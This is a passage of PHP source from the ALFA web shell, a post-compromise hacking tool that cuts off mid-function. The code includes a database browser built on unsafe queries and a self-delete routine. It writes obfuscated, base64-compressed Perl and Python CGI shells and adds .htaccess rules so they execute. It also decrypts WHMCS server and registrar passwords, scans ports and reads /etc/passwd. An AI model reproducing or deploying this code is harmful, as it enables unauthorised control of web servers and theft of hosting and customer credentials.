cellpadding="2" class="main mysql-data-tbl" style="background-color:#292929">\';\r\n\t\t\t$line = 0;\r\n\t\t\t$tables = array();\r\n\t\t\t$columns = array();\r\n\t\t\tif($type == "load_data"){\r\n\t\t\t\t$query = "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` LIMIT 0,30";\r\n\t\t\t\t$tbl_count_q = @mysqli_query($conn, "SELECT COUNT(*) FROM `".$db["db"]."`.`".$db["table"]."`");\r\n\t\t\t\t$tbl_count = @mysqli_fetch_row($tbl_count_q);\r\n\t\t\t\t$columns_query = @mysqli_query($conn, "SELECT COLUMN_NAME as name, COLUMN_TYPE as type, COLLATION_NAME as collation, DATA_TYPE as data_type, CHARACTER_MAXIMUM_LENGTH as type_value FROM information_schema.columns WHERE `TABLE_SCHEMA` = \'".$db["db"]."\' AND `TABLE_NAME` = \'".$db["table"]."\'");\r\n\t\t\t\twhile($row2 = @mysqli_fetch_array($columns_query, MYSQLI_ASSOC)){\r\n\t\t\t\t\t$columns[] = $row2;\r\n\t\t\t\t}\r\n\t\t\t\tif($tbl_count[0] > 30){\r\n\t\t\t\t\t$pages = ceil($tbl_count[0] / 30);\r\n\t\t\t\t}\r\n\t\t\t}elseif($type == "query"){\r\n\t\t\t\t$query = $db["query"];\r\n\t\t\t}elseif($type == "page"){\r\n\t\t\t\t$db["page"] = (int)$db["page"] - 1;\r\n\t\t\t\t$query = "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` LIMIT ".($db["page"]*30).",30";\r\n\t\t\t}elseif($type == "search"){\r\n\t\t\t\t$search = "";\r\n\t\t\t\t$search_noval = array("= \'\'", "!= \'\'", "IS NULL", "IS NOT NULL");\r\n\t\t\t\tforeach($db["search"] as $col => $val){\r\n\t\t\t\t\t$search_noval_r = in_array($val["opt"], $search_noval);\r\n\t\t\t\t\tif(empty($val["value"]) && !$search_noval_r)continue;\r\n\t\t\t\t\tif(strstr($val["opt"], "...") || $search_noval_r){\r\n\t\t\t\t\t\t$val["opt"] = str_replace("...", $val["value"], $val["opt"]);\r\n\t\t\t\t\t\t$search .= $col . " " . $val["opt"] . " AND ";\r\n\t\t\t\t\t}else{\r\n\t\t\t\t\t\t$search .= $col . " " . $val["opt"] . " \'".addslashes($val["value"])."\' AND ";\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\t$search .= "1=1";\r\n\t\t\t\t$query = "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` WHERE " . $search;\r\n\t\t\t}\r\n\t\t\t$q_tables = @mysqli_query($conn, $query);\r\n\t\t\tif(!$q_tables){\r\n\t\t\t\techo @json_encode(array("status" => false, "error" => @mysqli_error($conn), "query" => $query));\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\t\t\t$col_key = @mysqli_query($conn, "SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = \'".@addslashes($db["db"])."\' AND TABLE_NAME = \'".@addslashes($db["table"])."\' AND COLUMN_KEY = \'PRI\'");\r\n\t\t\tif($col_key){\r\n\t\t\t\t$col_key = @mysqli_fetch_row($col_key);\r\n\t\t\t\t$col_key = $col_key[0];\r\n\t\t\t\tif(!empty($col_key)){\r\n\t\t\t\t\t$tbl_content = \'<div style="margin-bottom:5px;margin-top:5px;"><button col_key="\'.$col_key.\'" tbl_name="\'.$db["table"].\'" db_id="\'.$db["db_id"].\'" \tdb_target="\'.$db["db"].\'" onclick="alfaMysqlDeleteAllSelectedrows(this);return false;">Delete Selected Rows</button></div><table width="100%" cellspacing="1" cellpadding="2" class="main mysql-data-tbl" style="background-color:#292929">\';\r\n\t\t\t\t}\r\n\t\t\t}else{\r\n\t\t\t\t$col_key = false;\r\n\t\t\t}\r\n\t\t\twhile($item = @mysqli_fetch_assoc($q_tables)){\r\n\t\t\t\tif(!$title){\r\n\t\t\t\t\t$tbl_content .= \'<tr style="background-color:#305b8e;">\';\r\n\t\t\t\t\tif($col_key){\r\n\t\t\t\t\t\t$tbl_content .= \'<th style="width: 55px;text-align:center;"><input db_id="\'.$db["db_id"].\'" onchange="alfaMysqlTblSelectAll(this);" type="checkbox"></th><th style="width: 55px;text-align:center;">Edit</th><th style="width: 55px;text-align:center;">Delete</th>\';\r\n\t\t\t\t\t}\r\n\t\t\t\t\tforeach($item as $key => $value){\r\n\t\t\t\t\t\t$tbl_content .= \'<th>\'.$key.\'</th>\';\r\n\t\t\t\t\t}\r\n\t\t\t\t\treset($item);\r\n\t\t\t\t\t$title=true;\r\n\t\t\t\t\t$tbl_content .= \'</tr><tr>\';\r\n\t\t\t\t}\r\n\r\n\t\t\t\tif($col_key){\r\n\t\t\t\t\t$cacheMsg = \'<td style="text-align:center;"><input row_id="\'.$line.\'" type="checkbox" name="tbl_rows_checkbox[]" value="\'.$item[$col_key].\'"></td><td style="text-align:center;"><a class="db-opt-id" href="javascript:void(0);" db_id="\'.$db["db_id"].\'" db_target="\'.$db["db"].\'" tbl_name="\'.$db["table"].\'" col_key="\'.$col_key.\'" key="\'.$item[$col_key].\'" onclick="alfaMysqlEditRow(this, \\\'edit\\\');" style="color:#0acaa6;">Edit</a></td><td style="text-align:center;"><a class="db-opt-id" href="javascript:void(0);" db_id="\'.$db["db_id"].\'" db_target="\'.$db["db"].\'" tbl_name="\'.$db["table"].\'" col_key="\'.$col_key.\'" key="\'.$item[$col_key].\'" row_id="\'.$line.\'" onclick="alfaMysqlEditRow(this, \\\'delete\\\');" style="color:#ff1e1e;">Delete</a></td>\';\r\n\t\t\t\t}\r\n\t\t\t\t$tbl_content .= \'<tr class="tbl_row tbl_row_l\'.$line.\'">\'.$cacheMsg;\r\n\t\t\t\t$line++;\r\n\t\t\t\tforeach($item as $key => $value){\r\n\t\t\t\t\tif($value == null){\r\n\t\t\t\t\t\t$tbl_content .= \'<td><i>null</i></td>\';\r\n\t\t\t\t\t}else{\r\n\t\t\t\t\t\t$tbl_content .= \'<td>\'.nl2br(htmlspecialchars($value)).\'</td>\';\r\n\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\t$tbl_content .= \'</tr>\';\r\n\t\t\t}\r\n\t\t\t$tbl_content .= \'</table>\';\r\n\t\t\tif(!$title){\r\n\t\t\t\t$tbl_content = "<div style=\'padding:5px;border:1px dashed;margin:10px;\'>Table is empty...</div>";\r\n\t\t\t}\r\n\t\t\techo @json_encode(array("status" => true, "table" => $tbl_content, "columns" => $columns, "pages" => $pages, "query" => $query));\r\n\t\t}\r\n\t\t@mysqli_close($conn);\r\n\t}\r\n}\r\nfunction alfaselfrm(){\r\nif(isset($_POST[\'alfa1\'])&&$_POST[\'alfa1\']==\'yes\'){\r\necho(__pre().\'<center>\');\r\nif(@unlink($GLOBALS[\'__file_path\'])){\r\necho(\'<b>Shell has been removed</i> :)</b>\');\r\n}else{\r\necho \'unlink error!\';\r\n}\r\necho(\'</center>\');\r\n}\r\nif(isset($_POST[\'alfa1\'])&&$_POST[\'alfa1\']!=\'yes\'){\r\necho "<div class=header>";\r\necho "\r\n<center><p><img src=\\"http://solevisible.com/images/farvahar-iran.png\\"></p>";\r\necho \'<p><div class="txtfont">Do you want to destroy me?!</div><a href=javascript:void(0) onclick="g(\\\'selfrm\\\',null,\\\'yes\\\');"> Yes</a>\';\r\necho \'</p></center></div>\';\r\n}\r\n}\r\nfunction alfacgishell(){\r\nalfahead();\r\n$div = "";\r\nalfaCreateParentFolder();\r\n@chdir($GLOBALS[\'home_cwd\'] . "/" . __ALFA_DATA_FOLDER__);\r\nif(!in_array($_POST[\'alfa1\'],array(\'perl\',\'py\'))){\r\n$div = "</div>";\r\necho \'<div class=header><center><p><div class="txtfont_header">| CGI Shell |</div></p><h3><a href=javascript:void(0) onclick="runcgi(\\\'perl\\\')">| Perl | </a><a href=javascript:void(0) onclick="runcgi(\\\'py\\\');">| Python | </a>\';\r\n}\r\nif(isset($_POST[\'alfa1\'])&&in_array($_POST[\'alfa1\'],array(\'perl\',\'py\'))){\r\n@mkdir(\'cgialfa\',0755);\r\n@chdir(\'cgialfa\');\r\nalfacgihtaccess(\'cgi\');\r\n$name = $_POST[\'alfa1\'].\'.alfa\';\r\n$perl = \'#!/usr/bin/perl -I/usr/local/bandmin\'."\\n".\'use MIME::Base64;use Compress::Zlib;eval(Compress::Zlib::memGunzip(decode_base64("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")));\';;\r\n$py = \'#!/usr/bin/python\'."\\nimport zlib, base64\\n".\'eval(compile(zlib.decompress(base64.b64decode("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")),\\\'<string>\\\',\\\'exec\\\'))\';\r\nif($_POST[\'alfa1\']==\'perl\'){$code = $perl;}else{$code = $py;}\r\nif(__write_file($name,$code)){\r\n@chmod($name,0755);\r\necho \'<iframe src="\'.__ALFA_DATA_FOLDER__.\'/cgialfa/\'.$name.\'" width="100%" height="600px" frameborder="0" style="opacity:0.9;filter: alpha(opacity=9);overflow:auto;"></iframe>\';\r\n}\r\n}\r\necho $div;\r\nalfafooter();\r\n}\r\nfunction alfaWhmcs(){\r\nalfahead();\r\necho \'<div class=header>\';\r\nfunction decrypt($string,$cc_encryption_hash){\r\n$key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);\r\n$hash_key = _hash($key);\r\n$hash_length = strlen ($hash_key);\r\n$string = __ZGVjb2Rlcg($string);\r\n$tmp_iv = substr ($string, 0, $hash_length);\r\n$string = substr ($string, $hash_length, strlen ($string) - $hash_length);\r\n$iv = $out = \'\';\r\n$c = 0;\r\nwhile ($c < $hash_length)\r\n{\r\n$iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));\r\n++$c;\r\n}\r\n$key = $iv;\r\n$c = 0;\r\nwhile ($c < strlen ($string))\r\n{\r\nif (($c != 0 AND $c % $hash_length == 0))\r\n{\r\n$key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));\r\n}\r\n$out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));\r\n++$c;\r\n}\r\nreturn $out;\r\n}\r\nfunction _hash($string)\r\n{\r\nif(function_exists(\'sha1\'))\r\n{\r\n$hash = sha1 ($string);\r\n}\r\nelse\r\n{\r\n$hash = md5 ($string);\r\n}\r\n$out = \'\';\r\n$c = 0;\r\nwhile ($c < strlen ($hash))\r\n{\r\n$out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));\r\n$c += 2;\r\n}\r\nreturn $out;\r\n}\r\nAlfaNum(8,9,10);\r\necho "<center><br><div class=\'txtfont_header\'>| WHMCS DeCoder |</div><p>".getConfigHtml(\'whmcs\')."</p><form onsubmit=\\"g(\'Whmcs\',null,this.form_action.value,\'decoder\',this.db_username.value,this.db_password.value,this.db_name.value,this.cc_encryption_hash.value,this.db_host.value); return false;\\">\r\n<input type=\'hidden\' name=\'form_action\' value=\'2\'>";\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_host : \', \'inputName\' => \'db_host\', \'id\' => \'db_host\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_username : \', \'inputName\' => \'db_username\', \'id\' => \'db_user\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_password : \', \'inputName\' => \'db_password\', \'id\' => \'db_pw\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'db_name : \', \'inputName\' => \'db_name\', \'id\' => \'db_name\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td5\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'cc_encryption_hash : \', \'inputName\' => \'cc_encryption_hash\', \'id\' => \'cc_encryption_hash\', \'inputValue\' => \'\', \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho "<p><input type=\'submit\' value=\' \' name=\'Submit\'></p></form></center>";\r\nif($_POST[\'alfa5\']!=\'\'){\r\n$db_host=($_POST[\'alfa7\']);\r\n$db_username=($_POST[\'alfa3\']);\r\n$db_password=($_POST[\'alfa4\']);\r\n$db_name=($_POST[\'alfa5\']);\r\n$cc_encryption_hash=($_POST[\'alfa6\']);\r\necho __pre();\r\n$conn=@mysqli_connect($db_host,$db_username,$db_password,$db_name) or die(mysqli_error($conn));\r\n$query = mysqli_query($conn,"SELECT * FROM tblservers");\r\n$num = mysqli_num_rows($query);\r\nif ($num > 0){\r\nfor($i=0; $i <=$num-1; $i++){\r\n$v = @mysqli_fetch_array($query);\r\n$ipaddress = $v[\'ipaddress\'];\r\n$username = $v[\'username\'];\r\n$type = $v[\'type\'];\r\n$active = $v[\'active\'];\r\n$hostname = $v[\'hostname\'];\r\necho("<center><table border=\'1\'>");\r\n$password = decrypt ($v[\'password\'], $cc_encryption_hash);\r\necho("<tr><td><b><font color=\\"#FFFFFF\\">Type</font></td><td>$type</td></tr></b>");\r\necho("<tr><td><b><font color=\\"#FFFFFF\\">Active</font></td><td>$active</td></tr></b>");\r\necho("<tr><td><b><font color=\\"#FFFFFF\\">Hostname</font></td><td>$hostname</td></tr></b>");\r\necho("<tr><td><b><font color=\\"#FFFFFF\\">Ip</font></td><td>$ipaddress</td></tr></b>");\r\necho("<tr><td><b><font color=\\"#FFFFFF\\">Username</font></td><td>$username</td></tr></b>");\r\necho("<tr><td><b><font color=\\"#FFFFFF\\">Password</font></td><td>$password</td></tr></b>");\r\necho "</table><br><br></center>";\r\n}\r\n$query1 = @mysqli_query($conn,"SELECT * FROM tblregistrars");\r\n$num1 = @mysqli_num_rows($query1);\r\nif ($num1 > 0){\r\nfor($i=0; $i <=$num1 -1; $i++){\r\n$v = mysqli_fetch_array($query1);\r\n$registrar = $v[\'registrar\'];\r\n$setting = $v[\'setting\'];\r\n$value = decrypt($v[\'value\'], $cc_encryption_hash);\r\nif ($value==""){\r\n$value=0;\r\n}\r\necho("<center>Domain Reseller <br><center>");\r\necho("<center><table border=\'1\'>");\r\necho("<tr><td><b><font color=\\"#67ABDF\\">Register</font></td><td>$registrar</td></tr></b>");\r\necho("<tr><td><b><font color=\\"#67ABDF\\">Setting</font></td><td>$setting</td></tr></b>");\r\necho("<tr><td><b><font color=\\"#67ABDF\\">Value</font></td><td>$value</td></tr></b>");\r\necho "</table><br><br></center>";\r\n}\r\n}\r\n}else{__alert(\'<font color="red">tblservers is Empty...!</font>\');};\r\n}\r\necho "</div>";\r\nalfafooter();\r\n}\r\nfunction alfaportscanner(){\r\nalfahead();\r\necho \'<div class=header><center><p><div class="txtfont_header">| Port Scaner |</div></p>\r\n<form action="" method="post" onsubmit="g(\\\'portscanner\\\',null,null,this.start.value,this.end.value,this.host.value); return false;">\r\n<input type="hidden" name="y" value="phptools">\r\n<div class="txtfont">Host: </div> <input id="text" type="text" name="host" value="localhost"/>\r\n<div class="txtfont">Port start: </div> <input id="text" size="5" type="text" name="start" value="80"/>\r\n<div class="txtfont">Port end: </div> <input id="text" size="5" type="text" name="end" value="80"/> <input type="submit" value=" " />\r\n</form></center><br>\';\r\n$start = strip_tags($_POST[\'alfa2\']);\r\n$end = strip_tags($_POST[\'alfa3\']);\r\n$host = strip_tags($_POST[\'alfa4\']);\r\nif(isset($_POST[\'alfa4\']) && is_numeric($_POST[\'alfa3\']) && is_numeric($_POST[\'alfa2\'])){\r\necho __pre();\r\n$packetContent = "GET / HTTP/1.1\\r\\n\\r\\n";\r\nif(ctype_xdigit($packetContent))$packetContent = @pack("H*" , $packetContent);\r\nelse{\r\n$packetContent = str_replace(array("\\r","\\n"), "", $packetContent);\r\n$packetContent = str_replace(array("\\\\r","\\\\n"), array("\\r", "\\n"), $packetContent);\r\n}\r\nfor($i = $start; $i<=$end; $i++){\r\n$sock = @fsockopen($host, $i, $errno, $errstr, 3);\r\nif($sock){\r\nstream_set_timeout($sock, 5);\r\nfwrite($sock, $packetContent."\\r\\n\\r\\n\\x00");\r\n$counter = 0;\r\n$maxtry = 1;\r\n$bin = "";\r\ndo{\r\n$line = fgets($sock, 1024);\r\nif(trim($line)=="")$counter++;\r\n$bin .= $line;\r\n}while($counter<$maxtry);\r\nfclose($sock);\r\necho "<center><p>Port <font style=\'color:#DE3E3E\'>$i</font> is open</p>";\r\necho "<p><textarea style=\'height:140px;width:50%;\'>".$bin."</textarea></p></center>";\r\n}\r\nflush();\r\n}\r\n}\r\necho \'</div>\';\r\nalfafooter();\r\n}\r\nfunction alfacgihtaccess($m,$d=\'\', $symname=false){\r\n$readme = "";\r\nif($symname){$readme="\\nReadmeName ".trim($symname);}\r\nif($m==\'cgi\'){\r\n$code = "#Coded By Sole Sad & Invisible\\nOptions FollowSymLinks MultiViews Indexes ExecCGI\\nAddType application/x-httpd-cgi .alfa\\nAddHandler cgi-script .alfa";\r\n}elseif($m==\'sym\'){\r\n$code = "#Coded By Sole Sad & Invisible\\nOptions Indexes FollowSymLinks\\nDirectoryIndex solevisible.phtm\\nAddType text/plain php html php4 phtml\\nAddHandler text/plain php html php4 phtml{$readme}\\nOptions all";\r\n}elseif($m==\'shtml\'){\r\n$code = "Options +Includes\\nAddType text/html .shtml\\nAddHandler server-parsed .shtml";\r\n}\r\n@__write_file($d . ".htaccess", $code);\r\n}\r\nfunction alfabasedir(){\r\nalfahead();\r\necho \'<div class=header>\r\n<center><p><div class="txtfont_header">| Open Base Dir |</div></p></center>\';\r\n$passwd = _alfa_file(\'/etc/passwd\');\r\nif(is_array($passwd)){\r\n$users = array();\r\n$makepwd = alfaMakePwd();\r\n$basedir = 